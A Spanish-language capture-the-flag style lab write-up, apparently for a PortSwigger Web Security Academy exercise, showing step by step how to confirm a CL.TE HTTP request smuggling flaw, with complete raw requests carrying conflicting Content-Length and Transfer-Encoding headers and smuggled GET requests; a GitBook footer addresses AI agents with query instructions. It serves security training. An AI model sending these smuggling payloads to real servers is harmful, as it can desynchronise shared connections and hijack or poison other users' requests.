> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Confirmación de vulnerabilidad CL.TE mediante respuestas diferenciales

### Contrabando de solicitudes HTTP, confirmación de una vulnerabilidad CL.TE mediante respuestas diferenciales

Este laboratorio utiliza un servidor frontal y un servidor interno. El servidor frontal **no maneja chunked** codificación. / El objetivo es **introducir de contrabando una solicitud al backend** para que la siguiente solicitud a **/** desencadene una respuesta **404 No encontrado**.

> **Nota:** Aunque el laboratorio acepta HTTP/2, el método requerido solo se puede usar en HTTP/1. / **Consejo:** El plugin HTTP Request Smuggler de Burp ayuda a recalcular longitudes automáticamente.

#### Observación inicial

El front-end interpreta **Content-Length**, mientras que el back-end se basa en **Transfer-Encoding**. / Enviando una solicitud mínima:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Luego, al añadir un parámetro, la longitud pasa lógicamente a 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/e849a2c57f52b5620e268a0bda291ec7fd72b442" alt=""><figcaption></figcaption></figure>

Para evitar el recálculo automático de la longitud, se introduce un nuevo encabezado.

<figure><img src="/files/dc772493376ed0afb560f9d2990cef8bbdb78f91" alt="" width="392"><figcaption></figcaption></figure>

#### Añadiendo *Transfer-Encoding*

Si añadimos:

```http
Transfer-Encoding: chunked
```

el servidor devuelve un error de desincronización:

HTTP/1.1 500 Internal Server Error

<figure><img src="/files/115aa9d39f798f2772f48355072f1795d53cff17" alt=""><figcaption></figcaption></figure>

Sin embargo, al enviar una carga útil chunked válida:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/7823a38dd4cd67e8a8f9e139bb6254af8f052cda" alt=""><figcaption></figcaption></figure>

la respuesta vuelve en **200 OK**.

<figure><img src="/files/ed06f9c2977f5423383f3fb2c3ba9259ea33db0c" alt=""><figcaption></figcaption></figure>

También podemos probar:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Inyección de una solicitud al backend

Para obtener un **404**, debes forzar al back-end a procesar una solicitud adicional. / Si se añade:

```http
GET /error HTTP/1.1
Prueba: A
```

y que el back-end interprete correctamente la solicitud introducida de contrabando, ejecuta el `GET /error`.

Ejemplo completo:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Prueba: A
```

La primera respuesta está en **200**, pero la siguiente solicitud enviada por el navegador desencadena un **404**, prueba de desincronización.

<figure><img src="/files/d499727eb52aa66ba97f871e81ad0aec92000e8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/736d05ff01d6b61f45b4b51faeb8b6fa8b4defac" alt=""><figcaption></figcaption></figure>

#### Variación: ejecutar otra página

Si quieres que el backend ejecute otro recurso, por ejemplo:

```http
GET /post?postId=4 HTTP/1.1
Prueba: A
```

entonces la página principal mostrará el contenido correspondiente a la publicación 4, confirmando que la consulta introducida de contrabando fue procesada por el back-end.

<figure><img src="/files/b76f15817c88c8b072e8ec5b7f5e1aff50ae78ef" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
